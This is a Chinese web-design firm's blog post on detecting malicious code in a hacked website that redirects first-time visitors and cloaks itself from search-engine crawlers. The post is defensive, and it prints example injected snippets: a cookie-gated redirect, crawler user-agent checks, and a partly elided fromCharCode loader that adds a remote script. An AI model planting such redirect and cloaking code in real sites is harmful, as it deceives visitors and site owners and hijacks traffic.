打造一个外贸网站,不仅需要有吸引人的设计,更需要考虑用户的体验。我们的目标是从文案、设计、技术等多个维度出发,构建一个以用户体验为中心、以询盘为导向的营销型外贸网站。让您的客户在短时间内了解您的优势,快速询盘!
外贸网站建设 外贸独立站推广 跨境电商

潍坊市网站被黑后,第一次打开会跳转其他网页,再打开则不会,如何查询恶意代码

时间:2024-06-01   来源:潍坊市外贸网站建设

假如你的网站被黑了,第一次打开网页时显示跳转到其他网站。再打开时却正常。

不要以为网站没事。请注意查一下类似于以下的代码。

var c = document.cookie;
     if (c.indexOf('isfirstvisited=false') != -1) {
        
     }
     else {
         var d = new Date();
         d.setFullYear(d.getFullYear() + 1);
         document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();
         location = 'https://baidu.com'
     }

这是以JS为例子,如果被植入的木马在PHP中,大致雷同。

请务必进行全站搜索相关关键词

isfirstvisited



同时看一下后台数据库中有没有被修改或者模板文件中被修改类似这样的。

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf('baidu') == -1)


另一种:

<script>
    if (!navigator.userAgent.match(/baiduspider|sogou|360spider|yisou/i)) {
        document.title = "正常的标题";
    }
</script>

根据访问者是否为特定爬虫来决定是否动态设置页面标题。这就是为了迷惑网站管理人员的,当你直接打开网页的时候,显示正常的标题,当你通过搜索引擎打开就显示他附加的另外的代码设置的标题,然后进行跳转,通常伴有内似下面的代码。

<noscript><title>字符#什么的</title>
<meta name="keywords" content="字符#什么的"/>
<meta name="description" content="字符#什么的"/></noscript>
<script type="text/javascript">;var bc = String.fromCharCode(104,106,115等一串数字实际上是生成一个动态JS); var script = document.createElement('script'); script.src = bc; document.head.appendChild(script);</script>


TAG:
新闻推荐
屏蔽AI抓取,防止流量大增导致服务器卡顿
屏蔽AI抓取,防止流量大增导致服务器卡顿

第一步:robots.txt 配置User-agent:GPTBotDisallow:/User-agent:ClaudeBotDisallow:/User-agent:anthropic...

PB在模板端使用if语句判断是否为手机端从而选择性输出内容。
PB在模板端使用if语句判断是否为手机端从而选择性输出内容。

起因是客户的网站在产品详情页有很多图片,比淘宝详情页还多。然后PC端和手机端又是独立分开的,单PC端或者...

网页图片太多,用懒加载的方式解决。
网页图片太多,用懒加载的方式解决。

给一个客户做的网站,详情页中七八十张图片。所以需要处理加载过慢的问题。现在使用懒加载的方式来处理。&l...

网站后台复制文章不能远程下载图片, 居然是PHP环境的问题。
网站后台复制文章不能远程下载图片, 居然是PHP环境的问题。

最近发现一些网站在复制别的文章的时候,远程本地化图片的时候不能本地化。下面来说一下如何处理这个问题:...

开启外贸时代,欢迎留言!
留言您的联系方式,我们会第一时间联系您!

Top